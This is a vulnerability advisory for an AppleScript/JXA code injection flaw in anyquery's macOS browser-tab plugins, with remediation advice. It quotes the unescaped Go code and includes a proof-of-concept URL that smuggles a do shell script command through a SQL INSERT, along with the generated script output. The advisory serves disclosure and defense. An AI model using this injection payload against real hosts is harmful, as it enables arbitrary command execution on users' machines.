anyquery CVE-2026-47252

AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin

Summary

The chrome_tabs plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled url value directly into an AppleScript template via fmt.Sprintf(newTabScript, url) at plugins/chrome/tabs.go:141 without any escaping, then passes the result to exec.Command("osascript", "-e", ...). An authenticated anyquery user who can issue SQL INSERT INTO chrome_tabs statements - which requires local CLI access - can break out of the {URL:"..."} property record with a newline-containing payload and inject arbitrary AppleScript statements, including do shell script, achieving OS-level command execution on the macOS host. The same pattern applies to the Update path at tabs.go:169 via the JXA setURL.js script.

Affected Code

plugins/chrome/tabs.go:141 - SQL-supplied url interpolated unescaped into AppleScript template, then executed via osascript -e

func (t *tabsTable) Insert(rows [][]interface{}) error {
	for _, row := range rows {
		url := "chrome://newtab/"
		if rawURL, ok := row[2].(string); ok {
			url = rawURL
		}

		cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, url))
		output, err := cmd.CombinedOutput()
		if err != nil {
			return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(newTabScript, url))
		}

	}

	return nil
}

plugins/chrome/tabs.go:169 - Update path interpolates url into JXA setURL.js template with identical lack of escaping

		if url != "" {
			cmd := exec.Command("osascript", "-l", "JavaScript", "-e", fmt.Sprintf(setURLScript, pk, url))
			output, err := cmd.CombinedOutput()
			if err != nil {
				return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(setURLScript, pk, url))
			}
		}

SQL INSERT url column (row[2]) flows through tabsTable.Insert → fmt.Sprintf(newTabScript, url) → exec.Command("osascript", "-e", <injected script>) at tabs.go:141.

Proof of Concept

Step 1 - Insert a newline-bearing URL via SQL: the generated AppleScript closes the {URL:"..."} property record and appends an injected do shell script "id" block, which is passed verbatim to osascript -e.

docker build -f Dockerfile -t anyquery-vuln001 .
docker run --rm anyquery-vuln001 'x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done'

SQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('<INJECT_URL>')
where INJECT_URL =
x"}
end tell
do shell script "id"
tell application "Google Chrome"
	make new tab with properties {URL:"done

[sink:tabs.go:141] Script passed to osascript -e:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell
[mock-osascript] Received script:
tell application "Google Chrome"
        make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
        make new tab with properties {URL:"done"} at end of tabs of first window
end tell

RESULT: PASS - injection payload reached osascript -e verbatim; "do shell script \"id\"" present in generated script (tabs.go:141)

See attached files: Dockerfile, poc/inject_demo.go, poc/go.mod vuln-001.zip

Impact

Any local user authenticated to the anyquery CLI who can run SQL against the chrome_tabs virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user's macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.

Remediation

Escape double-quote and newline characters in the url value before interpolation, or avoid string templating entirely. Specifically in plugins/chrome/tabs.go:

// Replace fmt.Sprintf(newTabScript, url) with:
safeURL := strings.ReplaceAll(url, `"`, `\"`)
safeURL = strings.ReplaceAll(safeURL, "\n", "")
safeURL = strings.ReplaceAll(safeURL, "\r", "")
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, safeURL))

A more robust fix is to pass the URL as an AppleScript variable declared via a -e prefix argument rather than string-interpolating it into the script body, or to use the osascript argv mechanism so the URL never appears inside the script source. Apply the same fix to fmt.Sprintf(setURLScript, pk, url) at tabs.go:169 for the Update path. Validate that the URL conforms to an allowed scheme (https://, http://, chrome://) before passing it to either handler.